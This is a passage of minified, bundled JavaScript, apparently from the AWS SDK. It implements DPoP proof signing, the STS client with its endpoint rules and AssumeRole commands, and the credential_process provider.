Y=i81.createPrivateKey({key:q.dpopKey,format:"pem",type:"sec1"}),w=i81.createPublicKey(Y).export({format:"der",type:"spki"}),H=-1;for(let M=0;M<w.length;M++)if(w[M]===4){H=M;break}let J=w.slice(H+1,H+33),O=w.slice(H+33,H+65),X={alg:"ES256",typ:"dpop+jwt",jwk:{kty:"EC",crv:"P-256",x:J.toString("base64url"),y:O.toString("base64url")}},$={jti:crypto.randomUUID(),htm:A,htu:K,iat:Math.floor(Date.now()/1000)},_=Buffer.from(JSON.stringify(X)).toString("base64url"),G=Buffer.from(JSON.stringify($)).toString("base64url"),Z=`${_}.${G}`,W=i81.sign("sha256",Buffer.from(Z),Y),j=this.derToRawSignature(W).toString("base64url");return`${Z}.${j}`}catch(Y){throw new Xn.CredentialsProviderError(`Failed to generate Dpop proof: ${Y instanceof Error?Y.message:String(Y)}`,{logger:this.logger,tryNextLink:!1})}}}var Zc5=(A)=>async({callerClientConfig:K}={})=>{A?.logger?.debug?.("@aws-sdk/credential-providers - fromLoginCredentials");let q=await qs1.parseKnownFiles(A||{}),Y=qs1.getProfileName({profile:A?.profile??K?.profile}),z=q[Y];if(!z?.login_session)throw new Xn.CredentialsProviderError(`Profile ${Y} does not contain login_session.`,{tryNextLink:!0,logger:A?.logger});let H=await new Ys1(z,A,K).loadCredentials();return $c5.setCredentialFeature(H,"CREDENTIALS_LOGIN","AD")};Wc5.fromLoginCredentials=Zc5});var Hs1=v((zo8)=>{Object.defineProperty(zo8,"__esModule",{value:!0});zo8.resolveHttpAuthSchemeConfig=zo8.resolveStsAuthConfig=zo8.defaultSTSHttpAuthSchemeProvider=zo8.defaultSTSHttpAuthSchemeParametersProvider=void 0;var jc5=aw(),ws1=WD(),Mc5=Js1(),Pc5=async(A,K,q)=>{return{operation:(0,ws1.getSmithyContext)(K).operation,region:await(0,ws1.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};zo8.defaultSTSHttpAuthSchemeParametersProvider=Pc5;function Vc5(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"sts",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function fc5(A){return{schemeId:"smithy.api#noAuth"}}var Nc5=(A)=>{let K=[];switch(A.operation){case"AssumeRoleWithWebIdentity":{K.push(fc5(A));break}default:K.push(Vc5(A))}return K};zo8.defaultSTSHttpAuthSchemeProvider=Nc5;var Tc5=(A)=>Object.assign(A,{stsClientCtor:Mc5.STSClient});zo8.resolveStsAuthConfig=Tc5;var vc5=(A)=>{let K=zo8.resolveStsAuthConfig(A),q=(0,jc5.resolveAwsSdkSigV4Config)(K);return Object.assign(q,{authSchemePreference:(0,ws1.normalizeProvider)(A.authSchemePreference??[])})};zo8.resolveHttpAuthSchemeConfig=vc5});var Os1=v((Jo8)=>{Object.defineProperty(Jo8,"__esModule",{value:!0});Jo8.commonParams=Jo8.resolveClientEndpointParameters=void 0;var Cc5=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,useGlobalEndpoint:A.useGlobalEndpoint??!1,defaultSigningName:"sts"})};Jo8.resolveClientEndpointParameters=Cc5;Jo8.commonParams={UseGlobalEndpoint:{type:"builtInParams",name:"useGlobalEndpoint"},UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}}});var ho8=v((Io8)=>{Object.defineProperty(Io8,"__esModule",{value:!0});Io8.ruleSet=void 0;var fo8="required",V3="type",rY="fn",oY="argv",_n="ref",Xo8=!1,Xs1=!0,$n="booleanEquals",LZ="stringEquals",No8="sigv4",To8="sts",vo8="us-east-1",jJ="endpoint",$o8="https://sts.{Region}.{PartitionResult#dnsSuffix}",ib="tree",BOA="error",_s1="getAttr",_o8={[fo8]:!1,[V3]:"string"},$s1={[fo8]:!0,default:!1,[V3]:"boolean"},Eo8={[_n]:"Endpoint"},Go8={[rY]:"isSet",[oY]:[{[_n]:"Region"}]},RZ={[_n]:"Region"},Zo8={[rY]:"aws.partition",[oY]:[RZ],assign:"PartitionResult"},ko8={[_n]:"UseFIPS"},Co8={[_n]:"UseDualStack"},VD={url:"https://sts.amazonaws.com",properties:{authSchemes:[{name:No8,signingName:To8,signingRegion:vo8}]},headers:{}},XT={},Wo8={conditions:[{[rY]:LZ,[oY]:[RZ,"aws-global"]}],[jJ]:VD,[V3]:jJ},Lo8={[rY]:$n,[oY]:[ko8,!0]},Ro8={[rY]:$n,[oY]:[Co8,!0]},Do8={[rY]:_s1,[oY]:[{[_n]:"PartitionResult"},"supportsFIPS"]},yo8={[_n]:"PartitionResult"},jo8={[rY]:$n,[oY]:[!0,{[rY]:_s1,[oY]:[yo8,"supportsDualStack"]}]},Mo8=[{[rY]:"isSet",[oY]:[Eo8]}],Po8=[Lo8],Vo8=[Ro8],Rc5={version:"1.0",parameters:{Region:_o8,UseDualStack:$s1,UseFIPS:$s1,Endpoint:_o8,UseGlobalEndpoint:$s1},rules:[{conditions:[{[rY]:$n,[oY]:[{[_n]:"UseGlobalEndpoint"},Xs1]},{[rY]:"not",[oY]:Mo8},Go8,Zo8,{[rY]:$n,[oY]:[ko8,Xo8]},{[rY]:$n,[oY]:[Co8,Xo8]}],rules:[{conditions:[{[rY]:LZ,[oY]:[RZ,"ap-northeast-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"ap-south-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"ap-southeast-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"ap-southeast-2"]}],endpoint:VD,[V3]:jJ},Wo8,{conditions:[{[rY]:LZ,[oY]:[RZ,"ca-central-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"eu-central-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"eu-north-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"eu-west-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"eu-west-2"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"eu-west-3"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"sa-east-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,vo8]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"us-east-2"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"us-west-1"]}],endpoint:VD,[V3]:jJ},{conditions:[{[rY]:LZ,[oY]:[RZ,"us-west-2"]}],endpoint:VD,[V3]:jJ},{endpoint:{url:$o8,properties:{authSchemes:[{name:No8,signingName:To8,signingRegion:"{Region}"}]},headers:XT},[V3]:jJ}],[V3]:ib},{conditions:Mo8,rules:[{conditions:Po8,error:"Invalid Configuration: FIPS and custom endpoint are not supported",[V3]:BOA},{conditions:Vo8,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",[V3]:BOA},{endpoint:{url:Eo8,properties:XT,headers:XT},[V3]:jJ}],[V3]:ib},{conditions:[Go8],rules:[{conditions:[Zo8],rules:[{conditions:[Lo8,Ro8],rules:[{conditions:[{[rY]:$n,[oY]:[Xs1,Do8]},jo8],rules:[{endpoint:{url:"https://sts-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:XT,headers:XT},[V3]:jJ}],[V3]:ib},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",[V3]:BOA}],[V3]:ib},{conditions:Po8,rules:[{conditions:[{[rY]:$n,[oY]:[Do8,Xs1]}],rules:[{conditions:[{[rY]:LZ,[oY]:[{[rY]:_s1,[oY]:[yo8,"name"]},"aws-us-gov"]}],endpoint:{url:"https://sts.{Region}.amazonaws.com",properties:XT,headers:XT},[V3]:jJ},{endpoint:{url:"https://sts-fips.{Region}.{PartitionResult#dnsSuffix}",properties:XT,headers:XT},[V3]:jJ}],[V3]:ib},{error:"FIPS is enabled but this partition does not support FIPS",[V3]:BOA}],[V3]:ib},{conditions:Vo8,rules:[{conditions:[jo8],rules:[{endpoint:{url:"https://sts.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:XT,headers:XT},[V3]:jJ}],[V3]:ib},{error:"DualStack is enabled but this partition does not support DualStack",[V3]:BOA}],[V3]:ib},Wo8,{endpoint:{url:$o8,properties:XT,headers:XT},[V3]:jJ}],[V3]:ib}],[V3]:ib},{error:"Invalid Configuration: Missing Region",[V3]:BOA}]};Io8.ruleSet=Rc5});var uo8=v((bo8)=>{Object.defineProperty(bo8,"__esModule",{value:!0});bo8.defaultEndpointResolver=void 0;var yc5=gb(),Gs1=Ky(),Ic5=ho8(),Sc5=new Gs1.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS","UseGlobalEndpoint"]}),hc5=(A,K={})=>{return Sc5.get(A,()=>(0,Gs1.resolveEndpoint)(Ic5.ruleSet,{endpointParams:A,logger:K.logger}))};bo8.defaultEndpointResolver=hc5;Gs1.customEndpointFunctions.aws=yc5.awsEndpointFunctions});var Qo8=v((go8)=>{Object.defineProperty(go8,"__esModule",{value:!0});go8.getRuntimeConfig=void 0;var bc5=aw(),xc5=eF(),uc5=Gz(),Bc5=ej(),mc5=tE(),Bo8=D81(),mo8=_z(),gc5=Hs1(),Fc5=uo8(),Qc5=(A)=>{return{apiVersion:"2011-06-15",base64Decoder:A?.base64Decoder??Bo8.fromBase64,base64Encoder:A?.base64Encoder??Bo8.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??Fc5.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??gc5.defaultSTSHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new bc5.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new uc5.NoAuthSigner}],logger:A?.logger??new Bc5.NoOpLogger,protocol:A?.protocol??new xc5.AwsQueryProtocol({defaultNamespace:"com.amazonaws.sts",xmlNamespace:"https://sts.amazonaws.com/doc/2011-06-15/",version:"2011-06-15"}),serviceId:A?.serviceId??"STS",urlParser:A?.urlParser??mc5.parseUrl,utf8Decoder:A?.utf8Decoder??mo8.fromUtf8,utf8Encoder:A?.utf8Encoder??mo8.toUtf8}};go8.getRuntimeConfig=Qc5});var io8=v((co8)=>{Object.defineProperty(co8,"__esModule",{value:!0});co8.getRuntimeConfig=void 0;var Uc5=Uz(),pc5=Uc5.__importDefault(_81()),Zs1=aw(),Uo8=oF(),n81=l0(),dc5=Gz(),cc5=aF(),po8=kZ(),O8A=NV(),do8=zT(),lc5=sF(),ic5=db(),nc5=Qo8(),rc5=ej(),oc5=KQ(),ac5=ej(),sc5=(A)=>{(0,ac5.emitWarningIfUnsupportedVersion)(process.version);let K=(0,oc5.resolveDefaultsModeConfig)(A),q=()=>K().then(rc5.loadConfigsForDefaultMode),Y=(0,nc5.getRuntimeConfig)(A);(0,Zs1.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,O8A.loadConfig)(Zs1.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??lc5.calculateBodyLength,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,Uo8.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:pc5.default.version}),httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(w)=>w.getIdentityProvider("aws.auth#sigv4")||(async(H)=>await A.credentialDefaultProvider(H?.__config||{})()),signer:new Zs1.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(w)=>w.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new dc5.NoAuthSigner}],maxAttempts:A?.maxAttempts??(0,O8A.loadConfig)(po8.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,O8A.loadConfig)(n81.NODE_REGION_CONFIG_OPTIONS,{...n81.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:do8.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,O8A.loadConfig)({...po8.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||ic5.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??cc5.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??do8.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,O8A.loadConfig)(n81.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,O8A.loadConfig)(n81.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,O8A.loadConfig)(Uo8.NODE_APP_ID_CONFIG_OPTIONS,z)}};co8.getRuntimeConfig=sc5});var oo8=v((no8)=>{Object.defineProperty(no8,"__esModule",{value:!0});no8.resolveHttpAuthRuntimeConfig=no8.getHttpAuthExtensionConfiguration=void 0;var tc5=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y}=A;return{setHttpAuthScheme(z){let w=K.findIndex((H)=>H.schemeId===z.schemeId);if(w===-1)K.push(z);else K.splice(w,1,z)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(z){q=z},httpAuthSchemeProvider(){return q},setCredentials(z){Y=z},credentials(){return Y}}};no8.getHttpAuthExtensionConfiguration=tc5;var ec5=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials()}};no8.resolveHttpAuthRuntimeConfig=ec5});var qa8=v((Aa8)=>{Object.defineProperty(Aa8,"__esModule",{value:!0});Aa8.resolveRuntimeExtensions=void 0;var ao8=Yy(),so8=P81(),to8=ej(),eo8=oo8(),Kl5=(A,K)=>{let q=Object.assign((0,ao8.getAwsRegionExtensionConfiguration)(A),(0,to8.getDefaultExtensionConfiguration)(A),(0,so8.getHttpHandlerExtensionConfiguration)(A),(0,eo8.getHttpAuthExtensionConfiguration)(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,(0,ao8.resolveAwsRegionExtensionConfiguration)(q),(0,to8.resolveDefaultRuntimeConfig)(q),(0,so8.resolveHttpHandlerRuntimeConfig)(q),(0,eo8.resolveHttpAuthRuntimeConfig)(q))};Aa8.resolveRuntimeExtensions=Kl5});var Js1=v((Ds1)=>{Object.defineProperty(Ds1,"__esModule",{value:!0});Ds1.STSClient=Ds1.__Client=void 0;var Ya8=BF(),ql5=mF(),Yl5=gF(),za8=Ub(),zl5=l0(),Ws1=Gz(),wl5=DJ(),Hl5=rF(),Jl5=qy(),wa8=kZ(),Ja8=ej();Object.defineProperty(Ds1,"__Client",{enumerable:!0,get:function(){return Ja8.Client}});var Ha8=Hs1(),Ol5=Os1(),Xl5=io8(),$l5=qa8();class Oa8 extends Ja8.Client{config;constructor(...[A]){let K=(0,Xl5.getRuntimeConfig)(A||{});super(K);this.initConfig=K;let q=(0,Ol5.resolveClientEndpointParameters)(K),Y=(0,za8.resolveUserAgentConfig)(q),z=(0,wa8.resolveRetryConfig)(Y),w=(0,zl5.resolveRegionConfig)(z),H=(0,Ya8.resolveHostHeaderConfig)(w),J=(0,Jl5.resolveEndpointConfig)(H),O=(0,Ha8.resolveHttpAuthSchemeConfig)(J),X=(0,$l5.resolveRuntimeExtensions)(O,A?.extensions||[]);this.config=X,this.middlewareStack.use((0,wl5.getSchemaSerdePlugin)(this.config)),this.middlewareStack.use((0,za8.getUserAgentPlugin)(this.config)),this.middlewareStack.use((0,wa8.getRetryPlugin)(this.config)),this.middlewareStack.use((0,Hl5.getContentLengthPlugin)(this.config)),this.middlewareStack.use((0,Ya8.getHostHeaderPlugin)(this.config)),this.middlewareStack.use((0,ql5.getLoggerPlugin)(this.config)),this.middlewareStack.use((0,Yl5.getRecursionDetectionPlugin)(this.config)),this.middlewareStack.use((0,Ws1.getHttpAuthSchemeEndpointRuleSetPlugin)(this.config,{httpAuthSchemeParametersProvider:Ha8.defaultSTSHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new Ws1.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials})})),this.middlewareStack.use((0,Ws1.getHttpSigningPlugin)(this.config))}destroy(){super.destroy()}}Ds1.STSClient=Oa8});var s81=v((r81)=>{var DLA=Js1(),jLA=ej(),$a8=qy(),_a8=Os1(),Gn=DJ(),js1=fV(),_l5=Yy(),zQ=class A extends jLA.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},Ga8=class A extends zQ{name="ExpiredTokenException";$fault="client";constructor(K){super({name:"ExpiredTokenException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Za8=class A extends zQ{name="MalformedPolicyDocumentException";$fault="client";constructor(K){super({name:"MalformedPolicyDocumentException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Wa8=class A extends zQ{name="PackedPolicyTooLargeException";$fault="client";constructor(K){super({name:"PackedPolicyTooLargeException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Da8=class A extends zQ{name="RegionDisabledException";$fault="client";constructor(K){super({name:"RegionDisabledException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},ja8=class A extends zQ{name="IDPRejectedClaimException";$fault="client";constructor(K){super({name:"IDPRejectedClaimException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Ma8=class A extends zQ{name="InvalidIdentityTokenException";$fault="client";constructor(K){super({name:"InvalidIdentityTokenException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Pa8=class A extends zQ{name="IDPCommunicationErrorException";$fault="client";constructor(K){super({name:"IDPCommunicationErrorException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Gl5="Arn",Zl5="AccessKeyId",Wl5="AssumeRole",Dl5="AssumedRoleId",jl5="AssumeRoleRequest",Ml5="AssumeRoleResponse",Ms1="AssumedRoleUser",Pl5="AssumeRoleWithWebIdentity",Vl5="AssumeRoleWithWebIdentityRequest",fl5="AssumeRoleWithWebIdentityResponse",Nl5="Audience",Ps1="Credentials",Tl5="ContextAssertion",Va8="DurationSeconds",vl5="Expiration",El5="ExternalId",kl5="ExpiredTokenException",Cl5="IDPCommunicationErrorException",Ll5="IDPRejectedClaimException",Rl5="InvalidIdentityTokenException",yl5="Key",Il5="MalformedPolicyDocumentException",fa8="Policy",Na8="PolicyArns",Sl5="ProviderArn",hl5="ProvidedContexts",bl5="ProvidedContextsListType",xl5="ProvidedContext",ul5="PolicyDescriptorType",Bl5="ProviderId",Ta8="PackedPolicySize",ml5="PackedPolicyTooLargeException",gl5="Provider",va8="RoleArn",Fl5="RegionDisabledException",Ea8="RoleSessionName",Ql5="SecretAccessKey",Ul5="SubjectFromWebIdentityToken",Vs1="SourceIdentity",pl5="SerialNumber",dl5="SessionToken",cl5="Tags",ll5="TokenCode",il5="TransitiveTagKeys",nl5="Tag",rl5="Value",ol5="WebIdentityToken",al5="arn",sl5="accessKeySecretType",X8A="awsQueryError",$8A="client",tl5="clientTokenType",_8A="error",G8A="httpError",Z8A="message",el5="policyDescriptorListType",ka8="smithy.ts.sdk.synthetic.com.amazonaws.sts",Ai5="tagListType",x2="com.amazonaws.sts",Ki5=[0,x2,sl5,8,0],qi5=[0,x2,tl5,8,0],Ca8=[3,x2,Ms1,0,[Dl5,Gl5],[0,0]],Yi5=[3,x2,jl5,0,[va8,Ea8,Na8,fa8,Va8,cl5,il5,El5,pl5,ll5,Vs1,hl5],[0,0,()=>Ra8,0,1,()=>Vi5,64,0,0,0,0,()=>Pi5]],zi5=[3,x2,Ml5,0,[Ps1,Ms1,Ta8,Vs1],[[()=>La8,0],()=>Ca8,1,0]],wi5=[3,x2,Vl5,0,[va8,Ea8,ol5,Bl5,Na8,fa8,Va8],[0,0,[()=>qi5,0],0,()=>Ra8,0,1]],Hi5=[3,x2,fl5,0,[Ps1,Ul5,Ms1,Ta8,gl5,Nl5,Vs1],[[()=>La8,0],0,()=>Ca8,1,0,0,0]],La8=[3,x2,Ps1,0,[Zl5,Ql5,dl5,vl5],[0,[()=>Ki5,0],0,4]],Ji5=[-3,x2,kl5,{[_8A]:$8A,[G8A]:400,[X8A]:["ExpiredTokenException",400]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError(Ji5,Ga8);var Oi5=[-3,x2,Cl5,{[_8A]:$8A,[G8A]:400,[X8A]:["IDPCommunicationError",400]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError(Oi5,Pa8);var Xi5=[-3,x2,Ll5,{[_8A]:$8A,[G8A]:403,[X8A]:["IDPRejectedClaim",403]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError(Xi5,ja8);var $i5=[-3,x2,Rl5,{[_8A]:$8A,[G8A]:400,[X8A]:["InvalidIdentityToken",400]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError($i5,Ma8);var _i5=[-3,x2,Il5,{[_8A]:$8A,[G8A]:400,[X8A]:["MalformedPolicyDocument",400]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError(_i5,Za8);var Gi5=[-3,x2,ml5,{[_8A]:$8A,[G8A]:400,[X8A]:["PackedPolicyTooLarge",400]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError(Gi5,Wa8);var Zi5=[3,x2,ul5,0,[al5],[0]],Wi5=[3,x2,xl5,0,[Sl5,Tl5],[0,0]],Di5=[-3,x2,Fl5,{[_8A]:$8A,[G8A]:403,[X8A]:["RegionDisabledException",403]},[Z8A],[0]];Gn.TypeRegistry.for(x2).registerError(Di5,Da8);var ji5=[3,x2,nl5,0,[yl5,rl5],[0,0]],Mi5=[-3,ka8,"STSServiceException",0,[],[]];Gn.TypeRegistry.for(ka8).registerError(Mi5,zQ);var Ra8=[1,x2,el5,0,()=>Zi5],Pi5=[1,x2,bl5,0,()=>Wi5],Vi5=[1,x2,Ai5,0,()=>ji5],fi5=[9,x2,Wl5,0,()=>Yi5,()=>zi5],Ni5=[9,x2,Pl5,0,()=>wi5,()=>Hi5];class o81 extends jLA.Command.classBuilder().ep(_a8.commonParams).m(function(A,K,q,Y){return[$a8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","AssumeRole",{}).n("STSClient","AssumeRoleCommand").sc(fi5).build(){}class a81 extends jLA.Command.classBuilder().ep(_a8.commonParams).m(function(A,K,q,Y){return[$a8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","AssumeRoleWithWebIdentity",{}).n("STSClient","AssumeRoleWithWebIdentityCommand").sc(Ni5).build(){}var Ti5={AssumeRoleCommand:o81,AssumeRoleWithWebIdentityCommand:a81};class fs1 extends DLA.STSClient{}jLA.createAggregatedClient(Ti5,fs1);var ya8=(A)=>{if(typeof A?.Arn==="string"){let K=A.Arn.split(":");if(K.length>4&&K[4]!=="")return K[4]}return},Ia8=async(A,K,q,Y={})=>{let z=typeof A==="function"?await A():A,w=typeof K==="function"?await K():K,H=await _l5.stsRegionDefaultResolver(Y)();return q?.debug?.("@aws-sdk/client-sts::resolveRegion","accepting first of:",`${z} (credential provider clientConfig)`,`${w} (contextual client)`,`${H} (STS default: AWS_REGION, profile region, or us-east-1)`),z??w??H},vi5=(A,K)=>{let q,Y;return async(z,w)=>{if(Y=z,!q){let{logger:$=A?.parentClientConfig?.logger,profile:_=A?.parentClientConfig?.profile,region:G,requestHandler:Z=A?.parentClientConfig?.requestHandler,credentialProviderLogger:W,userAgentAppId:D=A?.parentClientConfig?.userAgentAppId}=A,j=await Ia8(G,A?.parentClientConfig?.region,W,{logger:$,profile:_}),M=!Sa8(Z);q=new K({...A,userAgentAppId:D,profile:_,credentialDefaultProvider:()=>async()=>Y,region:j,requestHandler:M?Z:void 0,logger:$})}let{Credentials:H,AssumedRoleUser:J}=await q.send(new o81(w));if(!H||!H.AccessKeyId||!H.SecretAccessKey)throw Error(`Invalid response from STS.assumeRole call with role ${w.RoleArn}`);let O=ya8(J),X={accessKeyId:H.AccessKeyId,secretAccessKey:H.SecretAccessKey,sessionToken:H.SessionToken,expiration:H.Expiration,...H.CredentialScope&&{credentialScope:H.CredentialScope},...O&&{accountId:O}};return js1.setCredentialFeature(X,"CREDENTIALS_STS_ASSUME_ROLE","i"),X}},Ei5=(A,K)=>{let q;return async(Y)=>{if(!q){let{logger:O=A?.parentClientConfig?.logger,profile:X=A?.parentClientConfig?.profile,region:$,requestHandler:_=A?.parentClientConfig?.requestHandler,credentialProviderLogger:G,userAgentAppId:Z=A?.parentClientConfig?.userAgentAppId}=A,W=await Ia8($,A?.parentClientConfig?.region,G,{logger:O,profile:X}),D=!Sa8(_);q=new K({...A,userAgentAppId:Z,profile:X,region:W,requestHandler:D?_:void 0,logger:O})}let{Credentials:z,AssumedRoleUser:w}=await q.send(new a81(Y));if(!z||!z.AccessKeyId||!z.SecretAccessKey)throw Error(`Invalid response from STS.assumeRoleWithWebIdentity call with role ${Y.RoleArn}`);let H=ya8(w),J={accessKeyId:z.AccessKeyId,secretAccessKey:z.SecretAccessKey,sessionToken:z.SessionToken,expiration:z.Expiration,...z.CredentialScope&&{credentialScope:z.CredentialScope},...H&&{accountId:H}};if(H)js1.setCredentialFeature(J,"RESOLVED_ACCOUNT_ID","T");return js1.setCredentialFeature(J,"CREDENTIALS_STS_ASSUME_ROLE_WEB_ID","k"),J}},Sa8=(A)=>{return A?.metadata?.handlerProtocol==="h2"},ha8=(A,K)=>{if(!K)return A;else return class extends A{constructor(Y){super(Y);for(let z of K)this.middlewareStack.use(z)}}},ba8=(A={},K)=>vi5(A,ha8(DLA.STSClient,K)),xa8=(A={},K)=>Ei5(A,ha8(DLA.STSClient,K)),ki5=(A)=>(K)=>A({roleAssumer:ba8(K),roleAssumerWithWebIdentity:xa8(K),...K});Object.defineProperty(r81,"$Command",{enumerable:!0,get:function(){return jLA.Command}});r81.AssumeRoleCommand=o81;r81.AssumeRoleWithWebIdentityCommand=a81;r81.ExpiredTokenException=Ga8;r81.IDPCommunicationErrorException=Pa8;r81.IDPRejectedClaimException=ja8;r81.InvalidIdentityTokenException=Ma8;r81.MalformedPolicyDocumentException=Za8;r81.PackedPolicyTooLargeException=Wa8;r81.RegionDisabledException=Da8;r81.STS=fs1;r81.STSServiceException=zQ;r81.decorateDefaultCredentialProvider=ki5;r81.getDefaultRoleAssumer=ba8;r81.getDefaultRoleAssumerWithWebIdentity=xa8;Object.keys(DLA).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(r81,A))Object.defineProperty(r81,A,{enumerable:!0,get:function(){return DLA[A]}})})});var t81=v((ii5)=>{var Ts1=pb(),Ns1=dX(),Qi5=CA("child_process"),Ui5=CA("util"),pi5=fV(),di5=(A,K,q)=>{if(K.Version!==1)throw Error(`Profile ${A} credential_process did not return Version 1.`);if(K.AccessKeyId===void 0||K.SecretAccessKey===void 0)throw Error(`Profile ${A} credential_process returned invalid credentials.`);if(K.Expiration){let w=new Date;if(new Date(K.Expiration)<w)throw Error(`Profile ${A} credential_process returned expired credentials.`)}let Y=K.AccountId;if(!Y&&q?.[A]?.aws_account_id)Y=q[A].aws_account_id;let z={accessKeyId:K.AccessKeyId,secretAccessKey:K.SecretAccessKey,...K.SessionToken&&{sessionToken:K.SessionToken},...K.Expiration&&{expiration:new Date(K.Expiration)},...K.CredentialScope&&{credentialScope:K.CredentialScope},...Y&&{accountId:Y}};return pi5.setCredentialFeature(z,"CREDENTIALS_PROCESS","w"),z},ci5=async(A,K,q)=>{let Y=K[A];if(K[A]){let z=Y.credential_process;if(z!==void 0){let w=Ui5.promisify(Ts1.externalDataInterceptor?.getTokenRecord?.().exec??Qi5.exec);try{let{stdout:H}=await w(z),J;try{J=JSON.parse(H.trim())}catch{throw Error(`Profile ${A} credential_process returned invalid JSON.`)}return di5(A,J,K)}catch(H){throw new Ns1.CredentialsProviderError(H.message,{logger:q})}}else throw new Ns1.CredentialsProviderError(`Profile ${A} did not contain credential_process.`,{logger:q})}else throw new Ns1.CredentialsProviderError(`Profile ${A} could not be found in shared credentials file.`,{logger:q})},li5=(A={})=>async({callerClientConfig:K}={})=>{A.logger?.debug("@aws-sdk/credential-provider-process - fromProcess");let q=await Ts1.parseKnownFiles(A);return ci5(Ts1.getProfileName({profile:A.profile??K?.profile}),q,A.logger)};ii5.fromProcess=li5});var vs1=v((nb)=>{var ri5=nb&&nb.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 